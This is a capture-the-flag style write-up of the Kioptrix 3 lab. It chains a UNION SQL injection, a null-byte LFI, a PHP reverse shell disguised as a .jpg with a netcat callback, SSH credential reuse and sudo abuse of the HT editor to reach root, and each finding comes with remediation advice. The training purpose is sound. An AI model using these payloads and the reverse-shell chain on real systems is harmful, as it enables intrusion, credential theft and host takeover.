All projects

Offensive Security

Kioptrix 3: File Inclusion to RCE

SQL injection, file inclusion and a Linux privilege jump

Kali Linux logo

Featured lab

Completed lab
Kioptrix 3Web SecuritySQL InjectionLFIRCEFile UploadLotusCMSGallarificLinuxPrivilege Escalation
Exposed services
2

SSH and Apache HTTP

Foothold routes
3

LotusCMS RCE, SSH and upload + LFI

UNION columns
6

Manual SQLi structure confirmed

Verified impact
UID 0

Root context reached

What this showed

Reached root in the lab by moving from the web app to a shell, then SSH and an unsafe sudo rule.

What I learned

The lab did not rely on one clever exploit. A SQL injection exposed accounts, the web flaws made a shell possible, and loose sudo permissions finished the job.

Lab notes

A few notes on scope, evidence and what is kept private.

  • Completed in an isolated Kioptrix Level 3 lab.
  • The route follows the linked walkthrough; commands and results are shortened for the page.
  • Target and attacker IPs use placeholders.
  • Passwords, hashes, upload names and proof text are redacted.

The short version

Kioptrix 3 started with only SSH and HTTP exposed. Mapping the two web apps uncovered a six-column SQL injection, then an upload plus file-inclusion path to a www-data shell. Recovered lab accounts gave stable SSH access, and an unsafe sudo editor led to root.

Setup and scope

Kali Linux and the intentionally vulnerable Kioptrix Level 3 VM on a host-only network. IPs, passwords, hashes and proof text are redacted.

What I set out to do

See how the web app, credentials and Linux permissions could be linked together, and compare the available footholds.

A few checks

Commands → results

01 / Service map

Command

nmap -sS -sV -sC -O -p22,80 -Pn TARGET_VM

Result

22/tcp open  ssh   OpenSSH 4.7p1 Debian 8ubuntu1.2
80/tcp open  http  Apache 2.2.8 (Ubuntu)
                 PHP 5.2.4 + Suhosin

[+] Hostname: kioptrix3.com

The narrow network surface made the two port-80 applications the primary assessment focus.

02 / Six-column SQLi

Command

GET /gallery/gallery.php?id=null+UNION+SELECT+
1,group_concat(username,0x3a,password),3,4,5,6
+FROM+dev_accounts--

Result

gallery.dev_accounts
├── dreg:[MD5 REDACTED]
└── loneferret:[MD5 REDACTED]

[+] 6-column UNION confirmed
[+] Reusable lab accounts recovered

Schema enumeration also exposed the Gallarific administrator record; public secrets are intentionally removed.

03 / LFI validation

Command

curl 'http://kioptrix3.com/index.php?system=../../../../../etc/passwd%00.jpg'

Result

root:x:0:0:root:/root:/bin/bash
www-data:x:33:33:www-data:/var/www:/bin/sh
loneferret:x:1000:100:...:/home/loneferret:/bin/bash
dreg:x:1001:1001:...:/home/dreg:/bin/rbash

[+] Traversal + null-byte bypass verified

The response proved arbitrary local-file access and disclosed the users and application path needed for the next step.

04 / Inclusion becomes RCE

Command

cp php-reverse-shell.php proof.jpg
# upload through /gallery/gadmin/
nc -lvnp 443
# request index.php?system=[UPLOAD_PATH].jpg%00.php

Result

connect to [ATTACKER_VM] from [TARGET_VM]
Linux Kioptrix3 2.6.24-24-server i686
uid=33(www-data) gid=33(www-data) groups=33(www-data)
$ whoami
www-data

The upload filter accepted the image extension; LFI caused PHP to interpret the stored payload instead of serving it as a static file.

05 / Credential pivot

Command

ssh loneferret@TARGET_VM
echo $SHELL
id

Result

loneferret@TARGET_VM's password: ********
/bin/bash
uid=1000(loneferret) gid=100(users) groups=100(users)

[+] Stable interactive SSH access

The second recovered account, dreg, landed in rbash; Python could escape it, but loneferret offered the cleaner route.

06 / Root verification

Command

sudo -l
export TERM=xterm
sudo /usr/local/bin/ht
# authorized lab edit, then reconnect
id

Result

(root) NOPASSWD: !/usr/bin/su
(root) NOPASSWD: /usr/local/bin/ht

uid=0(root) gid=0(root) groups=0(root),100(users)
/root/Congrats.txt: [PROOF REDACTED]

A root-run interactive editor could modify protected identity data, bypassing the intended restriction on su.

Compromise map

Different web weaknesses met at a web shell; recovered SSH access was the cleaner route to root.

  1. 01

    Discover Kioptrix 3

  2. 02

    Map SSH + HTTP

  3. 03

    Enumerate two web apps

  4. 04

    Exploit Gallarific SQLi

  5. 05

    Recover lab credentials

  6. 06

    Upload PHP as .jpg

  7. 07

    Trigger payload through LFI

  8. 08

    Confirm www-data RCE

  9. 09

    Pivot to loneferret SSH

  10. 10

    Abuse sudo HT editor

  11. 11

    Verify UID 0

Route 01

Primary web chain

5

The route that proves file inclusion can become command execution.

  1. Gallarific SQLi
  2. Admin credential
  3. PHP payload as image
  4. LotusCMS LFI
  5. www-data shell

Route 02

Privilege path

5

The recovered host account turns application compromise into full host control.

  1. dev_accounts dump
  2. SSH as loneferret
  3. sudo -l
  4. HT edits protected file
  5. root / UID 0

Route 03

Alternate foothold

4

A separate manual route confirmed the target had more than one initial-access failure.

  1. LotusCMS page input
  2. PHP expression injection
  3. Netcat callback
  4. www-data shell

What stood out

Unauthenticated UNION-Based SQL Injection

What I saw

Gallarific's gallery.php id parameter accepted a six-column UNION query that returned records from gallarific_users and dev_accounts.

Why it matters

An unauthenticated attacker could enumerate the database and recover password hashes for application and operating-system users.

Why it happened

The application concatenated the id parameter into a database query without parameterization.

What would help

Use parameterized queries, constrain numeric identifiers server-side, remove verbose SQL errors and rotate all exposed credentials.

Unsafe Upload Chained With Local File Inclusion

What I saw

Gallarific accepted a PHP payload renamed with a .jpg extension. LotusCMS then included the uploaded file via traversal and a null-byte extension bypass, returning uid=33(www-data).

Why it matters

Authenticated file upload and unauthenticated file inclusion combined into operating-system command execution on the web server.

Why it happened

Upload checks trusted a filename extension, while dynamic PHP inclusion accepted traversed paths and interpreted user-controlled content.

What would help

Use an allowlisted route map instead of dynamic includes; validate file content; generate server-side names; store uploads outside the web root; and prevent script execution in upload locations.

Weak Password Storage and Cross-Boundary Credential Reuse

What I saw

Fast, unsalted MD5 hashes recovered through SQL injection were crackable and the resulting development credentials authenticated over SSH.

Why it matters

A database disclosure became authenticated host access, bypassing the weaker web-service shell context.

Why it happened

Legacy password hashing and reuse of application-managed credentials for operating-system accounts collapsed separate trust boundaries.

What would help

Use Argon2id or bcrypt with unique salts, prohibit password reuse across applications and SSH, rotate the exposed accounts and prefer key-based SSH authentication.

Passwordless Root Editor Enabled Arbitrary Protected-File Modification

What I saw

sudo -l allowed loneferret to run /usr/local/bin/ht as root without a password; the editor changed protected account data and a new session returned uid=0.

Why it matters

Any user with the recovered account could obtain complete control of the host despite the explicit sudo restriction on su.

Why it happened

An unrestricted interactive file editor was treated as a safe delegated command even though it inherited root-level write access.

What would help

Remove HT from sudoers, replace it with a narrowly scoped non-interactive operation and regularly review delegated binaries for file-write or shell-escape capabilities.

How I worked through it

The main steps, from a first look to a verified result.

  1. 01Found the DHCP host, added the local hostname the lab needs, and scanned its services.
  2. 02Looked through the two port-80 apps: LotusCMS and Gallarific.
  3. 03Tested gallery.php by hand and confirmed a six-column UNION SQL injection.
  4. 04Used the file-inclusion flaw to read /etc/passwd and understand the app path.
  5. 05Logged into Gallarific, uploaded a disguised PHP payload and included it through the LFI to get a www-data shell.
  6. 06Tried the recovered accounts over SSH and used loneferret for a stable session.
  7. 07Checked sudo, tested the HT editor in the lab and confirmed root.